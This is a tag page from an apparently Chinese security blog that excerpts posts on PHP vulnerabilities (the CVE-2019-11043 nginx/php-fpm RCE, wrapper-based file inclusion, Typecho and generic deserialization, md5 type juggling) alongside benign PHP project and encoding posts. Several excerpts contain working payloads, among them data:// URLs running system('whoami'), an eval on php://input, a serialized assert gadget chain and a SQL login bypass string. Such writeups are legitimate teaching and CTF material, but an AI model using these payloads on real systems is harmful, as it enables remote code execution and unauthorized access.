Tag:php

Tag (php)'s result:

PHP+nginx RCE(CVE-2019-11043)漏洞重现

0x00 概述 来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞。 当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大。 Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致nginx传递给php-fpm的 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷,所以攻击者可以使用换行符(%0a)来破坏`fastcgi_split_path_info`指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。   0x01 影响范围 当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞 location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; fastcgi_pass   php:9000; … } } 5.6 crash 7 rce   0x02 漏洞重现 https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md https://github.com/neex/phuip-fpizdam //go install //go get -v //go build     https://github.com/search?q=fastcgi_split_path&type=Code 某大神分享的nextcloud案例: https://docs.nextcloud.com/server/17/admin_manual/installation/nginx.html https://www.zoomeye.org/searchResult?q=nextcloud+%2Bserver:Nginx+%2B&t=all   0x03 数据流量 据说这个exp写得十分精妙。   0x04 修复方案 根据需求,将以下配置删除 fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; or 补丁 https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest   0x05 结语 还是有不少这样配置的,影响较大。   0x06 参考资料 https://mp.weixin.qq.com/s?src=11&timestamp=1572095484&ver=1936&signature=oPmPaXehqGEgAHy6nc0mARQbu5NbL-3GTFrbcxQghC4qvehLlpE9ohw6uTuP0hwcmtOvA3mZWUXhOEImDu0*ltYMJmrMrb-ATqNxOqEMYmV7yV4ntWOQl2JYrhx4*MQ2&new=1  

PHP伪协议总结

0x00 php://input //所有测试均allow_url_fopen=On,allow_url_include=On!!! php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。 ——php.net 简单说就是获取post数据。 测试代码: <?php $d = file_get_contents(‘php://input’); //echo $d; @eval($d) ?> 文件包含变命令执行: 测试代码: <?php @include($_GET[“file”]); ?> 写一句话:   0x01 php://filter php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 ——php.net 简单说经常利用它进行base64编码,如 php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini” 可以运用多种过滤器(字符串/转换/压缩/加密) 常用于读取文件/源码:   0x02 zip://,bzip2://,zlib:// zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 作为替代。 compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。 ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 ‘password’ 选项设置密码。 可选项 zlib://file.gz bzip2://file.bz2 zip://archive.zip#dir/file.txt ——php.net 简单说就是直接访问压缩包里的文件。 1. zip:// 将phpinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。 http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=zip://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest\phpinfo.jpg%23phpinfo.txt 注意要用绝对路径+url编码#   2. zlib:// http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest/phpinfo.txt.gz 改后缀为jpg亦可,相对路径亦可。   3. bzip2:// 同理于zlib://   0x03 data:// data://text/plain;base64, http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== 不加//亦可。 也可以用来读php文件源码: data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?> 或者命令执行: data:text/plain,<?php system(‘whoami’)?>   0x04 结语 ctf中常利用php伪协议,实战中或许会有奇效。 //图片来源:freebuf   0x05 参考资料 https://www.waitalone.cn/php-file-include.html www.freebuf.com/column/148886.html http://php.net/manual/zh/wrappers.php

Typecho反序列化漏洞重现及分析

0x00 前言 一个月前,typecho博客系统爆出了反序列化前台getshell的重大bug,当时太忙没时间分析,最近熟悉了下php的反序列化漏洞,乘势重温下当时火热的typecho反序列化漏洞,如果对php反序列化漏洞不甚了解,可以参考php反序列化漏洞总结。   0x01 漏洞重现 环境:win7+phpstudy(php5.4.45+apache2)+Typecho141010 0号payload0(来自www.freebuf.com/vuls/152058.html):执行phpinfo <?phpclass Typecho_Feed{ const RSS1 = ‘RSS 1.0’; const RSS2 = ‘RSS 2.0’; const ATOM1 = ‘ATOM 1.0’; const DATE_RFC822 = ‘r’; const DATE_W3CDTF = ‘c’; const EOL = “\n”; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( ‘title’ => ‘1’, ‘link’ => ‘1’, ‘date’ => 1508895132, ‘category’ => array(new Typecho_Request()), ‘author’ => new Typecho_Request(), ); } } class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params[‘screenName’] = ‘phpinfo()’; $this->_filter[0] = ‘assert’; } } $exp = array( ‘adapter’ => new Typecho_Feed(), ‘prefix’ => ‘typecho_’ ); echo base64_encode(serialize($exp)); 效果:   1号payload1:写入一句话: <?php class Typecho_Feed{ private $_items = array(); const RSS2 = ‘RSS 2.0’; private $_version; private $_type; private $_charset; private $_lang; public function __construct($version, $type = self::RSS2, $charset = ‘UTF-8’, $lang = ‘en’) { $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } public function addItem(array $item){ $this->_items[] = $item; } } class Typecho_Request{ private $_params = array(); private $_filter =……

php反序列化漏洞总结

0x00 概述 php允许保存一个对象方便以后重用,这个过程被称为序列化。 serialize可以将对象转换为字符串并且在转换中可以保存当前变量的值。 unserialize则可以将serialize生成的字符串变换回对象。   0x01 序列化类型 boolean: b:1; // True b:0; // False integer i:1; double d:1.23456 NULL N; string s:”abcdef” array a:3:{i:0;s:3:”Moe”;i:1;s:5:”Larry”;i:2;s:5:”Curly”;}   序列化中字母对应的类型 a – array 数组 b – boolean布尔型 d – double双精度型 i – integer o – common object一般对象 r – reference s – string C – custom object 自定义对象 O – class N – null R – pointer reference U – unicode string unicode编码的字符串   0x02 魔术方法和pop链 PHP中的一些魔术方法: __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(),     __invoke(), __set_state(), __clone(), __autoload().__debugInfo()   magic函数__construct和__destruct会在对象创建或者销毁时自动调用。 __construct当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 __sleep magic方法在一个对象被序列化的时候调用;__wakeup magic方法在一个对象被反序列化的时候调用 如果对象将调用一个不存在的函数__call将被调用; 如果对象试图访问不存在的或私有的类变量__get和__set将被调用 call(), callStatic() 方法重载的两个函数 __call()是在对象上下文中调用不可访问的方法时触发 __callStatic()是在静态上下文中调用不可访问的方法时触发。 get(), set() __get()用于从不可访问的或私有的属性读取数据。 __set()用于将数据写入不可访问的属性。 isset(), unset() __isset()在不可访问的属性上调用isset()或empty()触发。 __unset()在不可访问的属性上使用unset()时触发。 sleep(), wakeup() serialize()检查类是否具有__sleep()函数。如果是这样,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果有非常大的对象,不需要完全保存,该功能将非常有用。 unserialize()使用__wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。__wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。 __toString() __toString当一个对象被当作一个字符串使用 __toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。 __toString触发条件: 1.echo ($obj) / print($obj) 打印时会触发 2.字符串连接时 3.格式化字符串时 4.与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 5.格式化SQL语句,绑定参数时 6.数组中有字符串时 __invoke() 当脚本尝试将对象调用为函数时,调用__invoke()方法。 __set_state() __clone() __debugInfo()   POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。 PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法 一些对我们来说有用的POP链方法: 命令执行: exec() passthru() popen() system() 文件操作: file_put_contents() file_get_contents() unlink()   0x03 其他 对象的私有成员会加入成员名称的类名称,即受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节 所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节,如下面测试1中的序列化poc: O:12:”Unserialize0″:1:{s:4:”test”;O:7:”Normal1″:1:{s:14:”%00Normal1%00data1″;s:10:”phpinfo();”;}}   CVE-2016-7124,就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 如把上面测试1的poc中的第一个1改成2或比1大的任意值。 触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。   0x04 测试 测试0:利用魔术方法形成RCE phpChain0.php: <?php /** * Created by PhpStorm. * User: LSA * Date: 11/22/17 * Time: 10:48 AM */ class PopChain0 { private $data = ‘this is news.php\n’; public $filename = ‘./news.php’; public function __wakeup() { $this->save($this->filename); } public function save($filename) { file_put_contents($filename, $this->data); } } ?> test0.php: <?php /** * Created by PhpStorm. * User: LSA * Date: 11/22/17 * Time: 10:51 AM */ require(‘./popChain0.php’); unserialize(file_get_contents(‘./test0.txt’)); ?> 可以看出大概流程是从test0.txt读取序列化数据进行反序列化,调用魔术方法__wakeup将内容写入文件中,这里data和filename都可控明显造成反序列化漏洞。 构造poc.php: <?php /** * Created……

hackinglab.cn系列->解密关.md5真的能碰撞嘛?

写writeup前先整理下php的隐式类型转换利用方法 1.“==“ //适用于所有版本的php “==”会在比较的时候进行类型转换再比较。 转换规则: 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行比较 例如: <?php $foo = 1 + “10.5”;                // $foo is float (11.5) $foo = 1 + “-1.3e3”;              // $foo is float (-1299) $foo = 1 + “bob-1.3e3”;           // $foo is integer (1) $foo = 1 + “bob3”;                // $foo is integer (1) $foo = 1 + “10 Small Pigs”;       // $foo is integer (11) $foo = 4 + “10.2 Little Piggies”; // $foo is float (14.2) $foo = “10.0 pigs ” + 1;          // $foo is float (11) $foo = “10.0 pigs ” + 1.0;        // $foo is float (11) ?> 0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。 再看看函数string md5 ( string $str [, bool $raw_output = false ] ) 如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 为false和没有第二个参数时,为32位的16进制码 md5(‘240610708’) //0e462097431906509019562988736854.  =0x10【462097431906509019562988736854】次方 =0 md5(‘QNKCDZO’) //0e830400451993494058024219903391 转换后都成为了0的好多好多次方,都是0,所以 md5(‘240610708’)==md5(‘QNKCDZO’);   //True 即找到md5之后形成0e[0-9].*的hash串就可以绕过md5($password)==md5($rootadmin)这类的后台验证(前提是用户密码的md5也要是0e[0-9].*的hash串)。 ***** 类似的有: ”-”(0),”+”,”*”,”^” ”/1(0),”+0,”-0,”*0,”^0 除了+号,其他算术操作符号也会发生类型的类型转换,例如MOD,DIV,*,/,%,-, bit操作符&,|,^,<< ,>>也有同样的效果 payload: ‘-”# 可以绕过类似:$query = “select * from user where user=’”.$_POST[“user”].”‘and password=’”.md5($_POST[“password”]).”‘”;的后台验证(前提是user值转换后是数值0才行,像12admin转换后是数值12就不能绕过) 避免‘ or ”=’被防火墙禁。 ***************************************************** 2. strcmp漏洞 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 期望类型是字符串类型 但是在5.3之前的php中,显示了报错的警告信息后,返回0,也就是判定其相等了 利用方式:传递数组……

lsacms_v1.0(php)正式开源

概述: 前段时间用thinkphp3框架写了个简单的cms,熟悉一下流行的thinkphp框架,练手项目,大牛绕过。 github地址:https://github.com/theLSA/lsacms_v1.0 欢迎pr。 环境: redhat6+mysql14.14+php5+apache2 功能简述: 三种角色: 学生:个人信息查询,个人课程查询,选课 教师:个人信息查询,个人开设课程查询,开课,删除课程,录入成绩,课程详情等 管理员:信息管理,课程查询,用户管理,管理员管理 两个入口:教师和学生入口index.php,管理员入口admin.php 更多功能请自行挖掘。 结语: 前端用了网上的一些模板,MVC模式,挺简单的项目,新手可以参考一下。

hackinglab.cn系列->脚本关.微笑一下就能过关了

这题比较有趣,涉及data伪协议,php代码审计。 前置知识: 1.$_SERVER[‘QUERY_STRING’]:QUERY_STRING就是URL后接的参数,如www.baidu.com/?a=hi,a=hi就是QUERY_STRING。 2.data伪协议:data:[<MIME-type>][;charset=<encoding>][;base64],<data> 3.file_exists对data指向的内容判断为不存在 4.当key包含.或[]之类的符号,这些符号会被php转为_。 ************* php源码: <?php header(“Content-type: text/html; charset=utf-8”); if (isset($_GET[‘view-source’])) { show_source(__FILE__); exit(); } include(‘flag.php’); $smile = 1; if (!isset ($_GET[‘^_^’])) $smile = 0; if (preg_match (‘/\./’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/%/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/[0-9]/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/http/’, $_GET[‘^_^’]) ) $smile = 0; if (preg_match (‘/https/’, $_GET[‘^_^’]) ) $smile = 0; if (preg_match (‘/ftp/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/telnet/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/_/’, $_SERVER[‘QUERY_STRING’])) $smile = 0; if ($smile) { if (@file_exists ($_GET[‘^_^’])) $smile = 0; } if ($smile) { $smile = @file_get_contents ($_GET[‘^_^’]); if ($smile === “(●’◡’●)”) die($flag); } ?> 审计源码可得: 1.过滤了一些字符和协议. 2.QUREY_STRING过滤了_但是$_GET[‘^_^’]又含有_. 3.$_GET[‘^_^’]要不存在,但是可以file_get_contents读出是unicode的笑脸。 所以直接构造URL: lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php/?^.^=data://text/plain;charset=unicode,(●’◡’●) 得key: hkjasfhsa*&IUHKUH  

PHP+MYSQL中文乱码解决历程

问题描述: 1.php输出mysql里的中文数据出现乱码。 2.mysql存储中文数据乱码。 ******************************************* 乱码问题一般就是编码不统一,只要把各部分的编码统一就ok了,但是就是各部分编码统一很烦人,写php时就遇到上述问题,记录一下解决过程,供大家参考。 这里以统一utf-8编码为例: 1.网页显示编码声明为utf-8:<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ /> 2.保存的文件用utf-8编码:另存为-utf-8-replace 3.thinkphp的配置 ‘db-charset’ => ‘utf8’ 4,数据库编码改为utf8:mysql>alter database <数据库名> character set utf8; 5.数据库表名改为utf8:mysql>alter table <表名> character set utf8; (最好在创建库和表就设为utf8,不然可能还要改字段的编码) 首先保证上述5点编码统一! mysql> show variables like ‘character_set_database’;查看数据库编码 mysql> show create table <表名>;查看数据表编码 都是utf8没问题 但是看php输出的中文数据一直是乱码,看了网上的资料才发现cmd的编码是gbk,而我的中文数据是从cmd直接insert into的(在cmd中看正常不乱码),所以还是乱码,接着我从php添加中文数据,输出乱码问题解决! 由此引发新问题,当我在cmd中查看数据库中刚刚从php添加的中文数据又乱码了,而且一个中文就变成一个?号,其余正常。 先了解下相关知识: show variables like ‘character%’;查看当前数据库的相关编码集 client    为客户端使用的字符集。 connection    为连接数据库的字符集设置类型,如果程序没有指明连接数据库使用的字符集类型则按照服务器端默认的字符集设置。 database    为数据库服务器中某个库使用的字符集设定,如果建库时没有指明,将使用服务器安装时指定的字符集设置。 results    为数据库给客户端返回时使用的字符集设定,如果没有指明,使用服务器默认的字符集。 server    为服务器安装时指定的默认字符集设定。 system    为数据库系统使用的字符集设定。 猜想可能是由于mysql用utf8存储数据,而cmd用gbk编码,所以在cmd中看就乱码了,尝试set names gbk;改变connection,results,client的编码为gbk,再次查看还是乱码(而且问号更多了……)。 现在先在my.cnf中加入: [mysql] default-character-set=utf8 [mysqld] character-set-server=utf8 把connection,result,client都先设置为utf8。 发现中文乱码更奇怪了,但是用php新增的那个中文数据倒是没乱码了,以前用cmd新增的数据就是乱码(a…)。 感觉越来越乱了。 猜测可能是php用utf8新增数据而cmd新增的数据是gbk所以乱码,尝试用php再新增一条中文数据,结果发现php输出正常,在cmd中查看也正常,所以是cmd中用gbk insert into导致乱码,在cmd中再添加一条中文数据发现中文也正常了,真是神奇。 这个中文乱码问题真的非常烦人,不过勉强解决了文章开始的两个问题,先这样吧!

php留言板lsamsgboard_v1.0震撼发布!

初学php,写了这个简单的留言板,没弄前端,没用框架,关注于功能实现,后期有空再美化一下。 简介: 1.3种角色:未注册游客,已注册普通用户,管理员,利用session实现了简单的权限控制。 2.游客只有浏览留言的权限,普通用户可以发表/回复留言,并且可以删除自己的留言,管理员可以发表/删除/回复留言。 3.管理员有管理面板可以搜索注册用户,并且可以编辑/删除用户。 4.无限回复功能,并区分楼层,管理员可以删除回复。 5.实现了简单的分页。 更多功能请自行挖掘…… 项目地址:https://github.com/theLSA/lsamsgboard_v1.0/

php pdo test

I did a php pdo test,firstly I created a database named pdotest,then I created a table named books and inserted some records for test.Finally I used pdo to get thoes records. <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ /> <title>pdotest</title> <style type=”text/css”> <!– body,td,th { font-size: 18px; } –> </style></head> <body bgcolor=”#FFFFFF” leftmargin=”0″ topmargin=”0″ marginwidth=”0″ marginheight=”0″> <table width=”400″ border=”0″ cellpadding=”0″ cellspacing=”0″> <tr> <td height=”30″ align=”center”><strong>id</strong></td> <td align=”center”><strong>bookname</strong></td> <td align=”center”><strong>bookprice</strong></td> <td align=”center”><strong>edit</strong></td> </tr> <?php $dbms=’mysql’; $host=’localhost’; $dbName=’pdotest’; $user=’root’; $pass=’root’; $dsn=”$dbms:host=$host;dbname=$dbName”; try { $pdo = new PDO($dsn, $user, $pass); $query=’select * from books’; $result=$pdo->prepare($query); $result->execute(); echo ‘errorcode:’.$pdo->errorCode(); echo ‘<br/>’; print_r($pdo->errorInfo()); while($res=$result->fetch(PDO::FETCH_ASSOC)){ ?> <tr> <td height=”22″ align=”center” valign=”middle”><?php echo $res[‘id’];?></td> <td align=”center” valign=”middle”><?php echo $res[‘bookname’];?></td> <td align=”center” valign=”middle”><?php echo $res[‘bookprice’];?></td> <td align=”center” valign=”middle”><a href=”#”>delete</a></td> </tr> <?php } } catch (PDOException $e) { die (“Error!: ” . $e->getMessage() . “<br/>”); } ?> </table> </td> </body> </html> If you want to see the error code when the sql is error,you should use $pdo->query($query) instead of prepare and……